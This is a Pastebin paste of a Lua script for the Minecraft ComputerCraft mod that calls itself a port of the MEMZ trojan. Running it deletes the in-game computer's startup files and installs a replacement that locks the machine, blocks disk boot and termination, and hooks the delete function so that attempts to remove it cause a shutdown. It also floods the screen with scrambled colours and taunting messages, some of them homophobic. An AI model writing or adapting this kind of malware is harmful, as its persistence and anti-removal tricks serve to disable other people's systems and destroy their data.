Guest User

startup.lua

a guest
Dec 2nd, 2019
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 6.31 KB | None | 0 0
  1. if fs.exists('startup') then
  2.     fs.delete('startup')
  3. end
  4. if fs.exists('startup.lua') then
  5.     fs.delete('startup.lua')
  6. end
  7.  
  8. function forceset()
  9.     while true do
  10.         sleep()
  11.         settings.set('shell.allow_disk_startup',false)
  12.         settings.set('shell.allow_startup',true)
  13.         os.setComputerLabel('rekt by memz lol')
  14.     end
  15. end
  16.  
  17. shell.run('set shell.allow_disk_startup false')
  18. shell.run('set shell.allow_startup true')
  19.  
  20. local filecontents = {
  21.     'os.pullEvent = os.pullEventRaw',
  22.     'local width, height = term.getSize()',
  23.     'term.setBackgroundColor(colors.black)',
  24.     'term.clear()',
  25.     'term.setTextColor(colors.gray)',
  26.     "local text = 'Sorry I was too lazy to program'",
  27.     "local text2 = 'nyan cat lol'",
  28.     'term.setCursorPos((width/2)-(#text/2),height/2)',
  29.     'write(text)',
  30.     'term.setCursorPos((width/2)-(#text2/2),(height/2)+1)',
  31.     'write(text2)',
  32.     'while true do sleep() end',
  33. }
  34. local file = fs.open('startup','w')
  35. for i,v in ipairs(filecontents) do
  36.     file.writeLine(v)
  37. end
  38. file.close()
  39. term.setBackgroundColor(colors.white)
  40. local width, height = term.getSize()
  41. os.pullEvent = os.pullEventRaw
  42. term.clear()
  43. paintutils.drawLine(1,1,width,1,colors.lightBlue)
  44. term.setCursorPos(1,1)
  45. term.setTextColor(colors.white)
  46. write(' note.txt - Notepad')
  47. term.setCursorPos(width,1)
  48. term.setTextColor(colors.black)
  49. term.setBackgroundColor(colors.red)
  50. write('X')
  51. term.setBackgroundColor(colors.white)
  52. term.setCursorPos(1,2)
  53. print('YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN')
  54. term.setTextColor(colors.gray)
  55. print('(CC port by MinerMan132)')
  56. term.setTextColor(colors.black)
  57. print('')
  58. print("Your computer won't boot up again,")
  59. print('so use it as long as you can!')
  60. print('')
  61. print(':D')
  62. print('')
  63. print('Trying to delete startup will cause your system to')
  64. print("be destroyed instantly, so don't try it :D")
  65. print('')
  66. print('(Running the virus a second time will also')
  67. print('trigger this)')
  68. local olddel = fs.delete
  69.  
  70. function newdel(file)
  71.     if file ~= 'startup' then
  72.         return olddel(file)
  73.     else
  74.         local killtimer = 0
  75.         local messagelist = {
  76.             'you fucked up',
  77.             'get rekt     ',
  78.             'lol          ',
  79.             'your mom gay ',
  80.             'rip your data',
  81.         }
  82.         while true do
  83.             sleep()
  84.             killtimer = killtimer + 1
  85.             local x = math.random(1,width-13)
  86.             local y = math.random(1,height-1)
  87.             term.setCursorPos(x,y)
  88.             term.setTextColor(colors.black)
  89.             term.setBackgroundColor(colors.lightBlue)
  90.             write(' MEMZ        ')
  91.             term.setBackgroundColor(colors.white)
  92.             term.setCursorPos(x,y+1)
  93.             write(messagelist[math.random(1,#messagelist)])
  94.             if killtimer >= 100 then
  95.                 os.shutdown()
  96.             end
  97.         end
  98.     end
  99. end
  100.  
  101. fs.delete = newdel
  102.  
  103. local oldmv = fs.move
  104.  
  105. local function newmv(name,name2)
  106.     if name ~= 'startup' then
  107.         return oldmv(name,name2)
  108.     else
  109.         fs.delete('startup')
  110.     end
  111. end
  112.  
  113. fs.move = oldmv
  114.  
  115. repeat
  116.     _, m, x, y = os.pullEvent('mouse_click')
  117. until y == 1 and x == width
  118.  
  119. local function payloads()
  120.     local timer = 0
  121.     while true do
  122.         sleep()
  123.         timer = timer + 1
  124.         if timer%30 == 0 and timer > 200 then
  125.             term.setPaletteColor(2^math.random(0,15),math.random(1,999999))
  126.         end
  127.         if timer%100 == 0 and timer > 300 then
  128.             local x, y = term.getCursorPos()
  129.             local xoff = math.random(-1,1)
  130.             local yoff = math.random(-1,1)
  131.             if x + xoff > 0 and x + xoff < width then
  132.                 x = x + xoff
  133.             end
  134.             if y + yoff > 0 and y + yoff < height then
  135.                 y = y + yoff
  136.             end
  137.             term.setCursorPos(x,y)
  138.         end
  139.         local waittime = math.floor(40 - ((timer-600)/10))
  140.         if waittime < 1 then
  141.             waittime = 1
  142.         end
  143.         if timer%(waittime) == 0 and timer > 600 then
  144.             local x, y = term.getCursorPos()
  145.             local oldcolor1 = term.getTextColor()
  146.             local oldcolor2 = term.getBackgroundColor()
  147.             term.setCursorPos(math.random(1,width),math.random(1,height))
  148.             term.setTextColor(2^math.random(0,15))
  149.             term.setBackgroundColor(2^math.random(0,15))
  150.             write((string.char(math.random(100,200))))
  151.             term.setCursorPos(x,y)
  152.             term.setTextColor(oldcolor1)
  153.             term.setBackgroundColor(oldcolor2)
  154.         end
  155.         if timer > 700 and timer%100==0 then
  156.             local ox, oy = term.getCursorPos()
  157.             local color1 = term.getTextColor()
  158.             local color2 = term.getBackgroundColor()
  159.             local x = math.random(1,(width-26))
  160.             local y = math.random(1,(height-2))
  161.             term.setTextColor(colors.black)
  162.             term.setBackgroundColor(colors.lightBlue)
  163.             term.setCursorPos(x,y)
  164.             write(' lol                      ')
  165.             term.setBackgroundColor(colors.white)
  166.             term.setCursorPos(x,y+1)
  167.             write('Still using this computer?')
  168.             term.setCursorPos(ox,oy)
  169.             term.setTextColor(color1)
  170.             term.setBackgroundColor(color2)
  171.         end
  172.         if timer > 2000 and timer%2==0 then
  173.             for colort = 0,15 do
  174.                 term.setPaletteColor(2^colort,math.random(1,999999))
  175.             end
  176.             for _ = 1,10 do
  177.                 term.setCursorPos(math.random(1,width),math.random(1,height))
  178.                 term.setBackgroundColor(2^math.random(1,15))
  179.                 term.setTextColor(2^math.random(1,15))
  180.                 write(string.char(math.random(1,255)))
  181.                 term.setCursorPos(math.random(1,width),math.random(1,height))
  182.             end
  183.             local speakers = {peripheral.find('speaker')}
  184.             for i,v in pairs(speakers) do
  185.                 v.playNote('harp',math.random(1,10),math.random(1,10))
  186.             end
  187.         end
  188.     end
  189. end
  190.  
  191. local function shelljump()
  192.     while true do
  193.         term.setBackgroundColor(colors.black)
  194.         term.clear()
  195.         term.setCursorPos(1,1)
  196.         term.setTextColor(colors.white)
  197.         shell.run('shell')
  198.     end
  199. end
  200.  
  201. parallel.waitForAll(payloads,shelljump,forceset)
Add Comment
Please, Sign In to add comment